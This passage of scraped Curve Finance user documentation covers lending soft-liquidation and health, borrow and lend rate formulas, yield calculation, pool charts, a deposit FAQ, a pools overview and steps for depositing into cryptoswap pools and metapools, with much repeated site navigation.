losses are <0.1% per day), though this can vary based on loan and market conditions. Soft-liquidation begins if the oracle price of your collateral falls into one of your bands. At this point, your collateral will be linearly traded for your borrowed asset as the price continues to drop through each band. Let's examine what soft-liquidation looks like in a simplified example with a single band in an ETH/crvUSD LLAMMA market . This example illustrates that if the price declines by 20% within the band, 20% of the ETH is converted to crvUSD. When the price is below the lower bound of the band (<$990), all the collateral is converted to crvUSD (100% crvUSD, 0% ETH). Conversely, when the price exceeds the upper bound (>$1000), all collateral remains as ETH (100% ETH, 0% crvUSD). The below image represents multiple bands through soft-liquidation. Note the higher bands than the current price are fully converted to crvUSD and the lower bands are still ETH. The value of traded assets remains as loan collateral throughout soft-liquidation. For example, if ETH is swapped for crvUSD, the value of that crvUSD is added to the collateral backing the loan. Additionally, LLAMMA works both ways; if prices increase through your bands, any swapped collateral will be traded back for your initial collateral (e.g., ETH swapped to crvUSD as the price decreased will be swapped back to ETH as the price increases). Rebalancing collateral through soft-liquidation is incentivized for arbitrage traders by offering a small discount (when required) to buy or sell through LLAMMA. Trading back and forth your collateral is the reason why your health factor erodes over time during soft-liquidation . Higher volatility generally leads to greater losses. However, your losses are partly recouped by the earned trading fees for providing liquidity. Collateral CANNOT be deposited while in soft-liquidation Collateral cannot be deposited during soft-liquidation. Only debt repayment is allowed . Health & Hard-Liquidation Loan Health is a measure of debt to collateral value. As long as health is positive, the position remains open. The health of a loan decreases due to losses in soft-liquidation and when debt increases due to interest paid. Soft-liquidation losses do not only occur when prices go down but also when the collateral price rises again . This implies that the health of a loan can decrease even though the collateral value of the position increases. A loan becomes eligible for hard-liquidation when its health drops below 0 . In this process, an external party can repay the user's debt and claim their collateral in return, closing the loan. Going below the soft-liquidation range does not trigger a hard-liquidation . The key trigger is the health falling below 0. It's possible for a loan to be below the soft-liquidation range, and have all its collateral converted to the borrowed asset (e.g., all CRV to crvUSD) while still maintaining a positive health . In this scenario, further price drops don't impact the position, as the converted collateral covers both the debt and safety buffer. In contrast, most other lending platforms will hard-liquidate your collateral and terminate your loan if your loan falls below a minimum collateral ratio (LTV), even if only by a small amount for a brief time. This can be highly stressful for borrowers and lead to significant losses. Curve Lending offers a safer space and more peace of mind for borrowers. Leverage All new lending markets allow leverage. This allows users to multiply their gains (and losses) by the amount of leverage they desire. In a WETH/crvUSD market for example, this would allow the user to borrow up to 9x the amount of collateral they deposit. The caveat is that the user doesn't receive the borrowed crvUSD into their wallet, it is swapped for more WETH through 1inch and deposited into the lending market. To see how leverage works please see the dedicated leverage page . Utilization, Lend APY and Borrow APY The Lend APY and Borrow APY are affected by the Utilization of the market. It is the ratio of assets supplied, to assets borrowed. In the image below the Utilization is 80% as 80% of the Supply is borrowed. Higher Utilization means a higher Lending APY and Borrowing APY . Utilization Rate The formula for Utilization is the following: \\[\\text{Utilization} = \\frac{\\text{Total assets borrowed}}{\\text{Total assets supplied}}\\] Borrow Rate The borrow APR is the rate a borrower pays for borrowing out assets . In the Curve UI this is quoted as an APY not an APR , see the info box below for the conversion formula and difference. Borrowing rates are calculated differently based on whether the collateral asset has a crvUSD minting market. Borrow Rate for assets with a crvUSD Minting Market Assets with minting markets currently are: ETH (=WETH in lending markets), WBTC, wstETH, sfrxETH, tBTC. For these assets, the borrowing rates on Curve Lend depend on two factors: the borrow rate for minting crvUSD and the utilization of the lending pool. The technical documentation shows the borrowing rate formula here . To decide whether to mint crvUSD or borrow from the lending market, consider the following: Lending market utilization below 85% -> Borrowing rate will be lower on the Lending Market Lending market utilization above 85% -> Borrowing rate will be lower on the crvUSD Minting Market Lending market utilization equals 85% -> Borrowing rates will be equal Borrow Rate for all other Assets The formula for the borrow rate if the collateral asset does not have a minting market (e.g., CRV, pufETH, sUSDe, etc) is as follows: \\[\\text{rate} = \\text{rate}_{\\text{min}} \\cdot \\left(\\frac{\\text{rate}_{\\text{max}}}{\\text{rate}_{\\text{min}}}\\right)^{\\text{utilization}}\\] \\[\\text{borrowAPR} = \\text{rate} \\cdot (365 \\cdot 86400)\\] \\(\\text{rate}_{\\text{min}}\\) and \\(\\text{rate}_{\\text{max}}\\) values are obtained from the monetary policy contract of each Lending Market and are given in interest per second. We multiply the rate by \\(365 \\cdot 86400\\) to get the APR because this is the amount of seconds in a year ( \\(365\\) days \\(\\times 86400\\) seconds in a day). Lend Rate Lend APR is the yield a lender receives in exchange for lending out their assets . The lend APR is calculated the same way for all lending markets. Formula to calculate the Lend APR: \\[\\text{lendAPR} = \\text{borrowAPR} \\cdot \\text{utilization}\\] Difference between APR and APY APR represents the Annual Percentage Rate ( interest without compounding ) APY is the Annual Percentage Yield ( interest with compounding ) To convert the APR into APY, we need to annualize it and compound it every second (86400 seconds in a day): \\[\\text{APY} = \\left(1 + \\frac{APR}{86400 \\cdot 365}\\right)^{86400 \\cdot 365} - 1\\] For the current CRV Lending Market the Borrow APR and Lend APR for different Utilization rates is the following: More Information For information relating to opening loans see the loan creation page For information relating to how to supply assets see supplying assets page For Frequently Asked Questions about Curve Lending see the FAQ here For more technical information especially relating to the underlying smart contracts please see the Lending section within the Curve Docs Back to top", "labels": ["Documentation"]}, {"title": "Calculating yield", "html_url": "https://resources.curve.fi/lp/calculating-yield/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Calculating yield Table of contents Types of Yield Base vAPY CRV Rewards tAPR Incentives tAPR Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Types of Yield Base vAPY CRV Rewards tAPR Incentives tAPR Home Pools Calculating yield Explanation of how the Curve UI displays yield calculations Warning This page is outdated and will be updated soon. Much of this information has changed. If you need up to date information please check the new Technical Documentation or ask in the Curve Telegram . There are some links here to the old Technical Documentation , documentation there is also outdated. Like all documentation within this guide, this article is intended to be detailed but non-technical, outside of a few light mathematical formulas. While we highlight specific smart contract function names that the Curve UI may reference for convenience, no knowledge of coding is otherwise necessary to understand this article. Types of Yield Curve UI displaying different types of displayed Curve yield (tAPY and tAPR). In the above screenshot you can see a Curve pool has the potential to offer many different types of yield. The documentation provides an overview of the different types of yield here: Understanding CRV Its important to remember that these numbers are a projections of historical pool performance. The user would get this rate if the pool performance stays exactly the same for one year. These yield types are: Base vAPY: Shown on the first line, this number represents the fees that accrue to holders of the LP token based on trading volume. More Info $CRV Rewards tAPR: Shown on the second line, the rewards tAPR represents the rate of $CRV token emissions one would have earned if the pool has a rewards gauge and the user stakes into this rewards gauge. The number is listed as a range of possible rewards, based on the users locked veCRV the size of this boost can vary. More Info Incentives Rewards tAPR: Some pools also choose to stream rewards in the form of a different token this is represented on the third line if applicable. vAPY stands for variable annual percentage yield , this value calculates an annualized estimate of the trading fee yield based on the past days trading activity, inclusive of any effect of compounding. The rewards tAPR stands for token annual percentage rate token rewards must be claimed manually and therefore do not automatically compound, so rate is the more proper term. Base vAPY When Curve pools are launched, they receive a value for both the fee (the overall fee applied to trades) and the admin_fee (the percentage of this fee that goes to the Curve DAO as opposed to pool LPs). These parameters are directly viewable on the smart contract through the corresponding function names. These fees are displayed on the Curve UI pool page: These parameters may also be updated in the future by the Curve DAO by calling the commit_new_fee method. If the fees are in the process of being changed, these are readable in the smart contract via the future_fee and future_admin_fee methods. The fees are specifically earned or charged every time a user interacts with a pool contract through a transaction which may affect the pool balances. For example, directly calling the exchange function would rebalance the pool, so a fee clearly applies. If you add or remove liquidity in an imbalanced fashion, this would also adjust the ratios of tokens within the pool and thus be subject to fees. No fees are charged if a user adds coin in a balanced proportion or on removal. When you call methods to preview how many tokens you might receive for interacting with a pool (ie get_dy or calc_token_amount ) the values they return are usually but not always inclusive of any fees the UI calculations are intended to make any corrections where appropriate, but be sure to ask the support team if you have questions. Theoretically, one could calculate the base vAPY for any period by calculating the fees for every transaction and summing over the entire range. However, the Curve UI utilizes a simpler methodology to calculate the base vAPY, where t is the time in days: \\[\\left( \\frac{\\text{virtual_price}(t=0)}{\\text{virtual_price}(t=-1)} \\right)^{365} - 1\\] In other words, the vAPY measures the change in the pools \"virtual price\" between today and yesterday, then annualizes this rate. The \"virtual price\" is a measure of the pool growth over time, and is viewable directly on the UI. The UI receives this value directly by calling the get_virtual_price method on the pool contract. Every time a transaction occurs that charges a fee, the virtual price is incremented accordingly. Thus, when a pool launches with a virtual price of exactly 1, if the pools virtual price is 1.01 at some future time, an LP holding a token has seen the tokens value increase by 1%. \\[\\frac{1.01}{1.00} - 1 = 0.01 = 1\\%\\] A virtual price of 1.01 means an LP will get 1% more value back on removing liquidity. Similarly, new users adding liquidity will receive 1% fewer LP tokens on deposit. For pegged stablecoin pools, virtual price can easily be utilized to calculate vAPY of the pool since inception with no further calculations necessary. For v2 pools, one must also consider the fluctuating prices of underlying assets. For developers, here are more details about trade fees from the technical documentation: About Trade Fees Claiming Admin Fees Fee Distribution CRV Rewards tAPR The Curve DAO also authorizes some pools to receive bonus rewards from $CRV token emission, as described in the Understanding Gauges section of the documentation. If the pool has an eligible gauge, then the UI displays the range of possible tAPR values users are earning at present, subject to change in the future. The formula used here to calculate rewards tAPR: \\[tAPR = \\frac{\\text{crv_price} \\times \\text{inflation_rate} \\times \\text{relative_weight} \\times 12614400}{\\text{working_supply} \\times \\text{asset_price} \\times \\text{virtual_price}}\\] These parameters are obtained from various data sources, mostly on-chain: crv_price: The current price of the $CRV token in USD. This could be extrapolated from on-chain data, but the UI relies on the CoinGecko API to fetch this value. inflation_rate: The inflation rate of the $CRV token, accessed from the rate function of the $CRV token. relative_weight: Based on weekly voting, each Curve pool rewards gauge has a weighting relative to all other Curve gauges. This value can be calculated by calling the same function on the Curve gauge controller contract . https://dao.curve.fi/ working_supply: Accessed by calling the same function on the specific Curve gauge contract for the pool. asset_price: The price of the asset that is, if the pool contains only bitcoin, you would use the current price of $BTC. For v2 pools, this must be calculated by averaging over the specific assets within the pool. virtual_price: The measure of the pool growth over time, as described above. The magic number 12614400 is number of seconds in a year (60 * 60 * 24 * 365 = 31536000) times 0.4. In this case the 0.4 is due to the effect of boosts (minimum boost of 1 / maximum boost of 2.5 = 0.4). As shown in the UI, all tAPR values are displayed as a range, with the base rate on the left of the arrow representing the default rate one would receive if the user has no boost, and the value on the right of the arrow representing the maximum value a user could receive if the user has the maximum boost, which is 2.5 times higher than the minimum boost. Further details about calculating boosts are provided here . For developers, here are relevant links to the technical documentation: About Liquidity Gauges Gauge Controller Gauges for EVM Sidechains Gauge Proxy Incentives tAPR All pools may permissionlessly stream other token rewards without approval from the Curve DAO. The UI displays these bonus rewards only when applicable. In the example of stETH below, note how the pool is streaming $LDO tokens in addition to $CRV rewards. Pool Overview Page stETH Pool Page Further information on these extra incentives is available in the developer documentation. Back to top", "labels": ["Documentation"]}, {"title": "Charts and Pool Activity", "html_url": "https://resources.curve.fi/lp/charts_poolactivity/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Charts and Pool Activity Table of contents Charts Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Charts Pool Activity Home Pools Charts and Pool Activity The Curve UI offers a variety of charts related to token prices , as well as an overview of exchanges and liquidity activities (such as adding or removing liquidity) for each pool.\" Info Chart and Pool Activity information is currently only available for pools on ethereum mainnet. Charts LP tokens are tokens received upon depositing assets into a liquidity pool. These tokens represent the holder's share of the pool and can be redeemed for a portion of the funds, plus any fees accrued over time. Similar to other tokens, their value is contingent on the prices of the underlying assets in the liquidity pool. Navigating to the Chart tab reveals a graphical interface of the LP Token price in relation to, for example, USDT. In the top right corner, options are available to expand/minimize or refresh the chart, as well as to adjust its timeframe. Clicking on LP Token Price (USDT) reveals a drop-down menu with additional charts. Pool Activity Besides a chart for prices, the UI also provides an overview of swaps and liquidity actions for the pool under the Pool Activity tab. On the Swaps tab, the interface shows the tokens swapped and the time of each transaction, indicating how many hours or minutes ago it occurred. Clicking on a specific swap will redirect the user to the transaction on Etherscan. Navigating to the Liquidity tab to display deposits and withdrawals in the pool. Back to top", "labels": ["Documentation"]}, {"title": "Deposit FAQ", "html_url": "https://resources.curve.fi/lp/deposit-faqs/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Deposit FAQ Table of contents What is the deposit wrapped option? What happens when you provide liquidity on Curve? Does the coin I deposit matter? Understanding deposit bonuses But does that mean I can still withdraw in my favorite stable coin? How quickly does interest accrue/compound? What is arbitrage? What are incentivized pools? What makes the incentives APR move? Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents What is the deposit wrapped option? What happens when you provide liquidity on Curve? Does the coin I deposit matter? Understanding deposit bonuses But does that mean I can still withdraw in my favorite stable coin? How quickly does interest accrue/compound? What is arbitrage? What are incentivized pools? What makes the incentives APR move? Home Pools Deposit FAQ What is the deposit wrapped option? (This applies to metapools or pools with c-tokens or a-tokens). If you deposit a stablecoin to one of the pools with lending, Curve will automatically wrap your token to a cToken (for Compound) or aToken (for AAVE). The option is simply there if you have already previously lent them on Compound or AAVE. If your stablecoin is in its original form, you can ignore this option. If you deposit into metapools and you have the corresponding basepool token (for example, 3Crv), you can also use the \"deposit wrapped\" option to deposit this token. What happens when you provide liquidity on Curve? When you go to the deposit page and deposit one stablecoin, it then gets split between each token in the pool. Thats something you have to keep in mind because if you were to deposit 1000 DAI in the Pool, as per the screenshot below, your balance would be roughly equal to 390.7 GUSD, 120 DAI, 119.8 USDC and 362.6 USDT. Those values change constantly as people trade and arb the price of stable coins. Does the coin I deposit matter? Besides the deposit bonus explained below, it doesnt matter. Your tokens will get split into the pool and it doesnt affect your returns so you can deposit one, some or all the coins into the pool without worrying about it affecting your returns. Understanding deposit bonuses On the screenshot above, you can see GUSD is quite low as it should make up 50% of the total pool because it's a metapool paired against 3crv. So if your plan was to join the gusd-pool, you would ideally deposit GUSD into it. As you can see on the screenshot, you would get an instant 0.0082% bonus for depositing GUSD into the pool. The main reason for this is that GUSD is currently slightly more expensive so if you went to a centralized exchange you might sell it for $1.007 instead of $1. The deposit bonus reflects that. The other reason behind this is that the pools are always trying to balance themselves and go back to equal parts (in this case 50% GUSD) so depositing the coin with the lowest share will get you a deposit bonus. But does that mean I can still withdraw in my favorite stable coin? When you withdraw, the same principle as in the question above applies- but reversed. If you withdraw the stable coin with the biggest share, you would get a bonus but you still choose what stable coin you want to withdraw. How quickly does interest accrue/compound? Interests for pools using lending protocols compound every block or 15 seconds or immediately after fees are paid. Its also compounded automatically. What is arbitrage? Arbitrage is the simultaneous buying and selling of, in our case, a token to make a profit. Because cryptocurrency markets can often lack liquidity, there are often opportunities for traders to take advantage of price discrepancies to make a profit which can be helped by protocols like Curve. An example transaction: Etherscan In this transaction, someone used Curve and OasisDex and made around $200. This goes back to what was discussed earlier with liquidity pools. The idea is that is you incentivize traders to take advantage of price discrepancies which we all get rewarded for. What are incentivized pools? Liquidity pools (particularly one without an opportunity cost) are a great way to help stable coins keep their pegs. It makes easy for traders to arb (see question above) when the price slips off the peg which is very important for all the companies and foundations developing stable coins as having a $0.98 stablecoin is never a good look. As a result, some pools on Curve are incentivized. That means that on top of trading fees and lending fees, the companies will give rewards to people providing liquidity to the pools with their coins. What makes the incentives APR move? The steth pool in this screenshot earns another 2.69% of LDO per year and there are three variables that can make this change: The LDO distributed is based on the number of people staking their LP tokens, which means your share of rewards gets lower if more people start staking The price of LDO (price of LDO going up would make the yearly bonus go up) The size of weekly rewards (48,000 SNX as of today) could also be lowered as Lido reevaluates its partnership with Curve Back to top", "labels": ["Documentation"]}, {"title": "Pools Overview", "html_url": "https://resources.curve.fi/lp/overview/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Overview Table of contents Stableswap ( Curve V1 ) Cryptoswap ( Curve V2 ) Pool Fees Rewards & Yield Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Stableswap ( Curve V1 ) Cryptoswap ( Curve V2 ) Pool Fees Rewards & Yield Home Pools Pools Overview If you are new to Ethereum or DeFi, liquidity pools are a seemingly complicated concept to understand. Pools hold multiple assets, allowing users to swap between them. Liquidity providers who deposit assets earn fees from these swaps. In Curve, pools can be 2 different types, these are: Stableswap Pools for coins that are pegged to each other, for example USDC and USDT, or stETH and ETH. Cryptoswap Pools which are for assets which fluctuate in value against each other, for example USDT and ETH, or CRV and ETH. Its important to understand that when you provide liquidity to a pool, no matter what coin you deposit, you essentially gain exposure to all the coins in the pool which means you want to find a pool with coins you are comfortable holding. Liquidity Pool Risks Before using liquidity pools, it's advisable to review our risk disclaimer page for a comprehensive overview of potential risks. Stableswap ( Curve V1 ) Stableswap pools have assets pegged to each other. For example USDC and USDT, as their value should always be close to a 1:1 ratio . Let's look at an example about how it works for a liquidity provider: Note: Alice can deposit/withdraw any combination of assets/amounts, but pays a small fee for unbalanced actions (e.g., USDC-only deposit). Cryptoswap ( Curve V2 ) Cryptoswap pools contain unpaired assets like USDC and ETH, whose relative values fluctuate. This necessitates a different pool design than Stableswap. Cryptoswap pools maintain an equal value balance between their assets. For example, $1,000,000 in USDC would be matched by $1,000,000 worth of ETH. Let's look at an example about how it works for a liquidity provider: Note: Bob can deposit/withdraw any combination of assets/amounts, but pays a small fee for unbalanced actions (e.g., ETH-only deposit). Pool Fees Pool fees are specific to each pool, they typically range from 0.01%-0.04%. They are shown under the pool details tab on the pool's page. All new pools also have dynamic fees, so in times of high volatility, fees earned by the pools increase. 50% of the pool fees go to the Liquidity Providers increasing the value of LP tokens, and 50% to DAO (veCRV holders) . Balanced deposits and withdrawals are free . Unbalanced actions incur a small fee (max 50% of swap fee). This prevents free swaps via deposit/withdraw cycles. Note: \"Balanced\" means equal asset values in Cryptoswap pools, but matches current ratios in Stableswap pools . Rewards & Yield Liquidity providers are rewarded with 2 different types of yield: Base vAPY : This is how much the LP token value is increasing due to accruing pool fees. Rewards tAPR : These are CRV inflation rewards, other token incentives, and points. Staking LP tokens is required to earn CRV and other token rewards, which accrue through the pool's gauge. Points programs are project-specific; many don't require LP token staking. Refer to each project's point program for the most accurate information. Some pools include yield-bearing tokens like sUSDe and sDAI. All yield from these tokens goes directly to Liquidity Providers, none is taken away by fees or the pool. Back to top", "labels": ["Documentation"]}, {"title": "Depositing into a cryptoswap-pool", "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-a-cryptoswap-pool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a cryptoswap-pool Table of contents Depositing into the pool Confirming and staking Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Depositing into the pool Confirming and staking Home Pools Depositing Depositing into a cryptoswap-pool Cryptoswap pools contain two volatile assets and are designed to offer deep liquidity for a wide variety of assets with different levels of volatility. Learn more about v2 pools For instance, the CVX/ETH pool is used in the examples below. Depositing into the pool Visit the deposit page ( https://curve.fi/#/ethereum/pools/cvxeth/deposit ). You will need at least one of the two tokens in the pool to deposit. CVX/ETH-pool consists of CVX and ETH. First, it's important to understand that you don't have to deposit both coins, you can deposit one or both of the coins in the pool and it won't affect your returns. Depositing the coin with the smallest share in the pool will result in a small positive price impact. Since crypto pools have a rebalancing mechanism, the balances of the pool should be relatively equal. Second, once you deposit one coin, it gets split over the two different coins in the pool which means you now have exposure to all of them . The first checkbox (Add all coins in a balanced proportion) allows you to deposit both coins in the same proportion they currently are in the pool, resulting in no price impact. The second checkbox (Deposit Wrapped) allows users to deposit wrapped ETH (wETH) instead of plain ETH. Confirming and staking You will then be asked to approve the Curve Finance contract, follow by a deposit transaction which will deposit your into the pool. This transaction can be expensive so you ideally want to wait for gas to be fairly cheap if this will impact the size of your deposit. After depositing in the pool, you receive liquidity provider (LP) tokens. They represent your share of ownership in the pool and you will need them to stake for CRV. After depositing, you will be prompted with a new transaction that will deposit your LP tokens in the DAO liquidity gauge. Confirming the transaction will let you mine CRV. This second transaction will only pop up if you deposited your tokens under the \"Deposit and stake\" tab. Otherwise it will just deposit the tokens in the pool. If you already have LP tokens, you can also directly stake them into the gauge under the 'Stake' tab. Once that's done, you're providing liquidity and staking so all that's left to do is wait for your trading fees to accrue. You can click the link below to learn how to boost your CRV rewards by locking CRV on the Curve DAO: Boosting your CRV Rewards Staking your $CRV Back to top", "labels": ["Documentation"]}, {"title": "Depositing into a metapool", "html_url": "https://resources.curve.fi/lp/depositing/depositing-into-a-metapool/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a metapool Table of contents Depositing Confirming and staking Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Depositing Confirming and staking Home Pools Depositing Depositing into a metapool Metapools is a old concept to Curve Finance, it allows a single coin to be pooled with all the coins in another (base) pool without diluting its liquidity. Currently, the most common base pool is the 3Pool. It uses the three most liquid stable coins (USDT-USDC-DAI). Depositing Metapools offer several options for deposits. For example, in the GUSD/3Pool Metapool you can deposit the following: GUSD Any of the 3Pool 